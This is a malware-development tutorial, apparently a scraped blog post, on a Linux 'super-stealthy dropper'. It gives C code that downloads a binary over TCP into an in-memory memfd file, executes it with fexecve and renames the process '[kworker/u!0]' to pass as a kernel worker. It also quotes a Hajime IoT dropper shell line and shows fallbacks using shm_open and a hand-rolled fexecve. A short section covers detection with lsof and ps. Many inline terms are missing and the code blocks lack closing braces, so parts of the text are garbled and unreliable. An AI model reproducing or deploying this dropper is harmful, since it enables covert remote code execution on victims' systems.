Super-Stealthy Droppers

( origin article )

Some weeks ago I found [this interesting article] ( 383), about injecting code in running processes without using 


. The article is very interesting and I recommend you to read it, but what caught my attention was a brief sentence towards the end. Actually this one:

The current payload in use is a simple 



I’ve never heard before about 




… that’s why this sentence caught my attention.

In this paper we are going to talk about how to use these functions to develop a super-stealthy dropper. You could consider it as a malware development tutorial… but you know that it is illegal to develop and also to deploy malware. This means that, this paper is only for educational purposes… because, after all, a malware analyst needs to know how malware developers do their stuff in order to identify it, neutralise it and do what is needed to keep systems safe.




So, after reading that intriguing sentence, I googled those two functions and I saw they were pretty cool. The first one is actually pretty awesome, it allows us to create a file in memory. We have quickly talked about this in [a previous paper] (Running binaries without leaving tracks), but for that we were just using 


 to store our file. That folder is actually stored in memory so, whatever we write there does not end up in the hard-drive (unless we run out of memory and we start swapping). However, the file was visible with a simple 




 does the same, but the memory disk it uses is not mapped into the file system and therefore you cannot find the file with a simple 


. 😮

The second one, 


 is also pretty awesome. It allows us to execute a program (exactly the same way that 


), but we reference the program to run using a file descriptor, instead of the full path. And this one matches perfectly with 



But there is a caveat with this function calls. They are relatively new. 


 was introduced in kernel 3.17 and 


 is a 


 function available since version 2.3.2. While, 


 can be easily implemented when not available (we will see that in a sec), 


 is just not there on old kernels…

What does this means?. It means that, at least nowadays, the technique we are going to describe will not work on embedded devices that usually run old kernels and have stripped-down versions of libc. Although, I haven’t checked the availability of 


 in for instance some routers or Android phones, I believe it is very likely that they are not available. If anybody knows, please drop a line in the comments.

A simple dropper

In order to figure out how these two little guys work, I wrote a simple dropper. Well, it is actually a program able to download some binary from a remote server and run it directly into memory, without dropping it in the disk.

Before continuing, let’s check the Hajime case we described [towards the end of this post] (IoT Malware Droppers (Mirai and Hajime)). There you will find a cryptic shell line that basically creates a file with execution permissions to drop into it another file which is downloaded from the net. Then the downloaded program gets executed and deleted from the disk. In case you don’t want to open the link again, this is the line I’m talking about:

cp .s .i; &gt;.i; .<span class="hljs-regexp">/.s&gt;.i; ./</span>.i; rm .s; /bin/busybox ECCHI

We are going to write a version of 


 that, once executed, will do exactly the same that the cryptic shell line above.

Let’s first take a look to the code and then we can comment it.

The code

This is the code:

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/syscall.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;unistd.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/types.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/socket.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;arpa/inet.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> __NR_memfd_create 319</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MFD_CLOEXEC 1</span>

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">inline</span> <span class="hljs-keyword">int</span> <span class="hljs-title">memfd_create</span><span class="hljs-params">(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *name, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> flags)</span> </span>{
    <span class="hljs-keyword">return</span> syscall(__NR_memfd_create, name, flags);

<span class="hljs-keyword">extern</span> <span class="hljs-keyword">char</span>        **environ;

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span> <span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> **argv)</span> </span>{
  <span class="hljs-keyword">int</span>                fd, s;
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span>      addr = <span class="hljs-number">0x0100007f11110002</span>;
  <span class="hljs-keyword">char</span>               *args[<span class="hljs-number">2</span>]= {<span class="hljs-string">"[kworker/u!0]"</span>, <span class="hljs-literal">NULL</span>};
  <span class="hljs-keyword">char</span>               buf[<span class="hljs-number">1024</span>];

  <span class="hljs-comment">// Connect</span>
  <span class="hljs-keyword">if</span> ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) &lt; <span class="hljs-number">0</span>) <span class="hljs-built_in">exit</span> (<span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (connect (s, (struct sockaddr*)&amp;addr, <span class="hljs-number">16</span>) &lt; <span class="hljs-number">0</span>) <span class="hljs-built_in">exit</span> (<span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> ((fd = memfd_create(<span class="hljs-string">"a"</span>, MFD_CLOEXEC)) &lt; <span class="hljs-number">0</span>) <span class="hljs-built_in">exit</span> (<span class="hljs-number">1</span>);

  <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {
      <span class="hljs-keyword">if</span> ((read (s, buf, <span class="hljs-number">1024</span>) ) &lt;= <span class="hljs-number">0</span>) <span class="hljs-keyword">break</span>;
      write (fd, buf, <span class="hljs-number">1024</span>);
  close (s);
  <span class="hljs-keyword">if</span> (fexecve (fd, args, environ) &lt; <span class="hljs-number">0</span>) <span class="hljs-built_in">exit</span> (<span class="hljs-number">1</span>);

  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

It is pretty short and simple, isn’t it?. But there are a couple of things we have to say about it.



The first thing we have to comment is that, there is no 


 wrapper to the 


 system call. You would find this information in the 


 manpage’s NOTES section 42. That means that we have to write our own wrapper.

First, we need to figure out the syscall index for 


. Just use any on-line syscall list. Remember that the indexes changes with the architecture, so if you plan to use the code on an ARM or a MIPS, you may need to use a different index. The index we used 


 is for 



You can see the wrapper at the very beginning of the code (just after the 


 directives), using the 


 libc function.

Then, the program just does the following:

  • Create a normal TCP socket
  • Connect to port 0x1111 on using family 

    … We have packed all this information in a 


     variable to make the code shorter… but you can easily modify this information taking into account that:

    addr = <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-number">7</span>f   <span class="hljs-number">1111</span>  <span class="hljs-number">0002</span>;
            <span class="hljs-number">1</span>. <span class="hljs-number">0</span>. <span class="hljs-number">0</span>.<span class="hljs-number">127</span>   <span class="hljs-number">1111</span>  <span class="hljs-number">0002</span>;
             IP Address <span class="hljs-params">| Port |</span> Family

Of course this is not standard and whenever the 

struct sockaddr_in

 change, the code will break down… but it was cool to write it like this :stuck_out_tongue:

  • Creates a memory file
  • Reads data from the socket and writes it into the memory file
  • Runs the memory file once all the data has been transferred.

That’s it… very simple and straightforward.


So, now it is time to test it. According to our long constant in the 


 function, the 


 will connect to port 


 on localhost (

). So we will improvise a file server with 



In one console we just run this command:

$ cat /usr/bin/xeyes | nc -l $((<span class="hljs-number">0x1111</span>))

You can chose whatever binary you prefer. I like those little eyes following my mouse pointer all over the place

Then in another console we run the dropper, and those funny 


 should pop-up in your screen. Let’s see which tracks we can find after running the remote code.

Detecting the dropper

Spotting the process is difficult because we have given it a funny name (


). Note the 


 character that is just there to allow me to quickly identify the process for debugging purposes. In reality, you would like to use a 


 so the process looks like one of those kernel workers. But, let’s look at the 



$ ps axe
 2126 ?        S      0:00 [kworker/0:0]
 2214 pts/0    S+     0:00 [kworker/u!0]

You can see the output for a legit 


 process in the first line, and then you find our doggy program in the second line… which is associated to a pseudo-terminal!!!.. I think this can be easily avoided… but I will leave this to you to sharp your UNIX development skills :wink:

However, even if you detach the process from the pseudo-terminal…

Invisible file

We mentioned that 


 will create a file in a RAM filesystem that is not mapped into the normal filesystem tree… at least, if it is mapped, I couldn’t find where. So far this looks like a pretty stealth way to drop a file!!

However, let’s face it, if there is a file somewhere, there should be a way to find it… shouldn’t it? Of course it is. But, when you are in this kind of troubles… who you gonna call?.. Sure… Ghostbusters!. And you know what?, for GNU/Linux systems the way to bust ghosts is using 



$ lsof | grep memfd
3         2214            pico  txt       REG                0,5    19928      28860 /memfd:a (deleted)

So, we can easily find any 


 file in the system using 


. Note that 


 will also indicate the associated PID so we can also easily pin point the dropped process even when it is using some name camouflage and it is not associated to a pseudo-terminal!!!

What if 


 is not available?

We have mentioned that 


 is only available on kernels 3.17 or higher. What can be done for other kernels?. In this case we will be a bit less stealthy but we can still do pretty well.

Our best option in this case is to use 


 (SHared Memory Open). This function basically creates a file under 


… however, this one will be visible with 


, but at least we avoid writing to the disk. The only difference between using 


 or just 


 is that 


 will create the files directly under 


. While, when using 


 we have to provide the whole path.

To modify the dropper to use 


 we have to do two things.

First we have to substitute the 


 call by a 


 call like this:

<span class="hljs-keyword">if</span> ((fd = shm_open(<span class="hljs-string">"a"</span>, O_RDWR | O_CREAT, S_IRWXU)) &lt; 0) <span class="hljs-built_in">exit</span> (1);

The second thing is that we need to close the file and re-open it read-only in order to be able to execute it with 


. So, after the while loop that populates the file we have to close and re-open the file:

  <span class="hljs-keyword">close</span> (fd);

  <span class="hljs-keyword">if</span> ((fd = shm_open(<span class="hljs-string">"a"</span>, O_RDONLY, <span class="hljs-number">0</span>)) &lt; <span class="hljs-number">0</span>) <span class="hljs-keyword">exit</span> (<span class="hljs-number">1</span>);

However note that, now it does not make much sense to use 


 and we can avoid reopening the file read-only and just call 


 on the file created at 


 which is effectively the same and it is also shorter.

… and what if 


 is not available?

This one is pretty easy, whenever you get to know how 


 works. How can you figure out how the function works?.. just google for its source code!!!. A hint is provided in the man page tho:

On Linux, fexecve() is implemented using the proc(5) file system, so /proc needs to be mounted and available at the time of the call.

So, what it does is to just use 


 but providing as file path the file descriptor entry under 


. Let’s elaborate this a bit more. You know that each open file is identified by an integer and you also know that each process in your GNU/Linux system exports all its related information under the 


 pseudo file system in a folder named against its PID (supposing the 


 file system is mounted). Well, inside that folder you will find another folder named 


 containing a file per each file descriptor opened by the process. Each file is named against its actual file descriptor, that is, the integer number.

Knowing all this, we can run a file identified by a file descriptor just passing the path to the right file under 




. A basic implementation of 


 will look like this:

<span class="hljs-function"><span class="hljs-keyword">int</span>
<span class="hljs-title">my_fexecve</span> <span class="hljs-params">(<span class="hljs-keyword">int</span> fd, <span class="hljs-keyword">char</span> **arg, <span class="hljs-keyword">char</span> **env)</span> </span>{
  <span class="hljs-keyword">char</span>  fname[<span class="hljs-number">1024</span>];

  <span class="hljs-built_in">snprintf</span> (fname, <span class="hljs-number">1024</span>, <span class="hljs-string">"/proc/%d/fd/%d"</span>, getpid(), fd);
  execve (fname, arg, env);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

This implementation of 


 is completely equivalent to the standard one… well it is missing some sanity checks but, after all, we’re living in the edge :P.

As mentioned before, this is very convenient to be used together with 


 that returns to us a file descriptor and does not require the 


 sequence. Otherwise, when there is a file somewhere, even in memory, it is even faster to just use 


 as you can infer from the implementation above.


Well, this is it. Hope you have found this interesting. It was interesting for me. Now, after having read this paper, you should be able to figure out what the open/memfd_create/sendfile/fexecve we mentioned at the beginning means…

We have also seen a quite stealthy technique to drop files in a remote system. And we have also learn how to detect the dropper even when it may look invisible at first glance.

You can download all the code from: 0x00pf/0x00sec_code

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